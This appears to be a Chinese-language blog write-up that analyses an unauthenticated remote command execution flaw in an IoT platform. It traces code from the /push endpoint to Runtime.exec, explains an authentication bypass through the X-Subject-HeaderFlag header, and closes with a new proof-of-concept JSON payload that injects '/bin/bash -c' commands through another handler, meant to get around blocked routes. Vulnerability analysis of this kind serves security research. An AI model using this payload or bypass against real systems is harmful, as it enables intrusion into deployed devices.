【注意】最后更新于 July 7, 2025,文中内容可能已过时,请谨慎使用。
前言
某智能物联平台被披露有一个未授权的命令执行漏洞,问朋友拿到了源码,简单分析一下。

漏洞分析
拿到的是jar
包,先用idea
创建一个空项目,然后将jar
包和lib
文件都以库的形式导入。

等待idea
索引完成,按两下shift
就可以进行全局搜索了,这里的全局搜索并不能直接搜字符串,只是方便搜路由。
直接搜路径push
定位到controller
。

com/xxxx/xxx/runs/controller/agent/MsgDealConrtoller.class
1
2
3
4
| @PostMapping({"/push"})
public ResultMessage push(@RequestBody AgentMsgParam agentMsgParam, HttpServletRequest request) throws Exception {
return this.msgDealService.msgDeal(agentMsgParam);
}
|
跟入msgDealService.msgDeal
方法,Mac
按住command+
鼠标点击进入方法。

再点一下实现
跟到实现的类,可以看到先是判断agentMsgParm
不为空,随后判断method
是否为空。不为空,消息处理执行工厂根据method
获取一个消息处理器。随后调用获取到的消息处理器对象的msgDeal
方法对传入的agentMsgParam
参数进行处理。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| public class MsgDealServiceImpl implements MsgDealService {
@Autowired
private MsgHandlerExecuteFactory msgHandlerExecuteFactory;
public ResultMessage msgDeal(AgentMsgParam agentMsgParam) throws Exception {
if (agentMsgParam != null) {
String method = agentMsgParam.getMethod();
if (StringUtils.isNotEmpty(method)) {
MsgHandler msgHandler = this.msgHandlerExecuteFactory.getMsgHandler(method);
if (msgHandler != null) {
return msgHandler.msgDeal(agentMsgParam);
}
}
}
throw new BusinessException(ResultCodeEnum.INTERFACE_NOT_FOUND);
}
...
|
再看看agetnMsgParm
的结构
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| public class AgentMsgParam {
private String method;
private JSONObject info;
private String requestIp;
public String getMethod() {
return this.method;
}
public void setMethod(String method) {
this.method = method;
}
public JSONObject getInfo() {
return this.info;
}
public void setInfo(JSONObject info) {
this.info = info;
}
public String getRequestIp() {
return this.requestIp;
}
public void setRequestIp(String requestIp) {
this.requestIp = requestIp;
}
public String toString() {
return "AgentMsgParam{method='" + this.method + '\'' + ", info=" + this.info + ", requestIp='" + this.requestIp + '\'' + '}';
}
}
|
其中Info
为jsonObject
,也就是这一块是我们可控的参数。
根据method
的值 agent.ossm.mapping.config
定位类,直接搜没有结果,搜agent.ossm.mapping
弹出一个结果。

跟进 OssmConfigHandler.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| public class OssmConfigHandler extends AbstractMsgHandler {
public String getMethod() {
return "agent.ossm.mapping.config";
}
public ResultMessage msgDeal(AgentMsgParam agentMsgParam) throws BusinessException {
JSONObject jsonObject = agentMsgParam.getInfo();
if (jsonObject == null) {
throw new BusinessException(ResultCodeEnum.AGENT_PARAM_INCORRECT);
} else {
CommonAgentParam commonAgentParam = (CommonAgentParam)JSON.toJavaObject(jsonObject, CommonAgentParam.class);
boolean ifSaved = this.writeMappingFile(commonAgentParam.getFilePath(), commonAgentParam.getConfigure());
this.logger.info("ossmconfighandler write {} to {}", commonAgentParam.getConfigure(), commonAgentParam.getFilePath());
if (ifSaved) {
String shellPath = (String)commonAgentParam.getParamMap().get("shellPath");
String filePath = (String)commonAgentParam.getParamMap().get("filePath");
Executor.execute(shellPath, new String[]{"5", "EXT_NET", filePath});
return new ResultMessage(Collections.emptyMap());
} else {
throw new BusinessException(ResultCodeEnum.PARAM_INVALID);
}
}
}
...
|
可以看到getMethod
的值就是漏洞利用的值。
分析msgDeal
方法,先是通过getInfo
获取jsonObject
,随后转成CommonAgentParam
对象。
CommonAgentParam
对象的定义如下:
1
2
3
4
5
6
7
8
9
10
| public class CommonAgentParam extends AgentInfo implements Serializable {
private static final long serialVersionUID = -3364963858565947168L;
private String param;
private Map<String, Object> paramMap;
private Object paramObject;
private String moduleCode;
private Boolean flag;
private String filePath;
private String configure;
...
|
随后调用writeMappingFile
将configure
的值写入到路径为filePath
的文件中。
判断返回值ifSaved
是否为真,如果是则将从CommonAgentParam
的paramMap
中获取的shellpath
,filepath
传递到Executor.execute
方法中。
很显然这个Executor.execute
的底层实现应该就是执行命令。
一步步跟入,发现将传入的command
与传入的参数进行格式化为cmd
后,最后传入到runtime.exec
执行。
1
2
3
4
5
6
7
8
9
10
11
12
13
| public static int execute(String command, Writer writer, Writer errorWriter, boolean block, boolean log, String... args) {
String cmd = formatCommand(command, args);
if (log) {
logger.info("Executor Command : " + cmd);
}
try {
Process process = Runtime.getRuntime().exec(cmd);
StreamGobbler outputGobbler = new StreamGobbler(process.getInputStream(), writer, "output");
StreamGobbler errorGobbler = new StreamGobbler(process.getErrorStream(), errorWriter, "error");
outputGobbler.start();
errorGobbler.start();
...
|
formatCommand
方法代码如下,只是对命令进行格式化,并没有进行过滤。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| public static String formatCommand(String command, String... args) {
command = getString(command);
StringBuilder result = new StringBuilder();
if (LocalCacheUtils.get("common:non:root:start") != null && LocalCacheUtils.get("common:non:root:user:name") != null) {
result.append("sudo ");
}
if (command.contains("." + BatchExecutorFactory.getExecutor().getCommandKeyword())) {
result.append(BatchExecutorFactory.getExecutor().getCommandKeyword()).append(" ");
}
result.append(MessageFormat.format(command, args));
return result.toString();
}
|
至此,一个执行命令的链路就打通了。
让我们回过头来,我们知道ifSaved
的值是决定了能否执行命令的关键,看到writeMappingFile
方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| private Boolean writeMappingFile(String path, String value) {
File file = new File(path);
FileOutputStream out = null;
try {
if (file.exists()) {
file.delete();
}
if (!file.exists()) {
file.createNewFile();
}
out = new FileOutputStream(file, false);
new StringBuffer();
out.write(value.getBytes("utf-8"));
out.flush();
} catch (IOException e) {
this.logger.error(e.getMessage(), e);
} finally {
if (out != null) {
try {
out.close();
} catch (IOException e) {
this.logger.error(e.getMessage(), e);
}
}
}
return file.exists();
}
|
非常直给的文件写入,返回值在于这个文件是否存在。
也就是这里不但有命令执行还有任意文件写入,而且命令执行依赖于文件写入,会先写入一个文件,确保文件写入落地存在了才会执行命令。
理解了漏洞核心原理后,我们回过头可以看到POC
请求有一个X-Subject-Headerflag
的请求头,但目前执行命令并没有用到这个请求头,那可能是起着绕过认证授权的作用。
全局搜一下这个请求头:

跟进 com/xxxx/xxxx/runs/filter/AuthFilter
,代码非常贴心的告诉了你什么情况不鉴权。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
if (!authEnable) {
filterChain.doFilter(servletRequest, servletResponse);
return;
}
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
HttpServletResponse httpServletResponse = (HttpServletResponse) servletResponse;
String[] requestURIParams = httpServletRequest.getServletPath().split("/");
String[] matchedRequestURIParams = Arrays.copyOfRange(requestURIParams, 1, requestURIParams.length);
String matchedRequestURI = "/" + StringUtils.join(Arrays.asList(matchedRequestURIParams), "/");
ServletRequest request = new BodyReaderHttpServletRequestWrapper(httpServletRequest, FILE_METHOD_SET.contains(matchedRequestURI));
String content = SignUtil.getBodyString(request);
if (StringUtils.isNotEmpty(content)) {
content = getParamsExcludeFile(matchedRequestURI, content);
Map<String, String> paramsMap = SignUtil.parseJsonToMap(content);
// 如果方法在set中,则不进行鉴权
if (releaseMethodSet.contains(paramsMap.get("method"))) {
filterChain.doFilter(request, servletResponse);
return;
}
//如果是adapt过来的请求,则不鉴权
String flag = httpServletRequest.getHeader("X-Subject-HeaderFlag");
if (StrUtil.isNotBlank(flag) && "ADAPT".equals(flag)) {
String signFlag = httpServletRequest.getHeader("X-Subject-Sign");
if(StrUtil.isBlank(signFlag)){
filterChain.doFilter(request, servletResponse);
return;
}
}
flag = httpServletRequest.getHeader("X-Subject-HeaderFlag");
if (StrUtil.isNotBlank(flag) && "CLOUD".equals(flag)) {
filterChain.doFilter(request, servletResponse);
return;
}
...
|
至此,我们理清了该漏洞的所有细节原理。
漏洞拓展
现在我们知道了整个漏洞原理,我们可以从source
和sink
的两个角度出发,拓展一下在该路径被封禁后是否还有其它的方法绕过。
source
方向
直接搜msgDealService.msgDeal
,都集中在msgDeal
这个控制器下。

如/push
、/receive
两个已知端点

还有/push/file
和 /receive/file
端点,但这两个端点的代码还有下载和上传文件,逻辑更加复杂,不一定能够执行成功。

而/receive/response/file
端点就更为简单,只是没有返回。

sink
方向
通过Method
来获取消息处理器的逻辑给予了极大的灵活性,只要我们找到其它的处理器有问题,那么就可以拓展出新的漏洞利用点。
消息处理器的实现有196
个之多,肯定会有其它处理器存在问题。

通过Jar Analyzer
我们将lib
下的jar
包加载进去分析,并指定 com.xxxx.xxx.configtool.common.executor.Executor:execute
,寻找使用了这个方法的地方。

再筛选只看那些Handler
的实现类。
翻了一下,找到一个:

scriptPath
可控直接传入execute
。
POC
:
1
2
3
4
5
6
7
8
9
10
| {
"method": "agent.ip.changed",
"info": {
"scriptName": "",
"deployPath": "/bin/bash -c '{command}'",
"ip":"1",
"moduleCode": "0"
},
"requestIp": ""
}
|
总结
此漏洞的核心问题是为代码灵活而做的动态调用设计,但在业务实现上缺乏基本的过滤,配合为了业务方便的认证鉴权。
最终造成了一个无需身份认证的远程命令执行严重漏洞。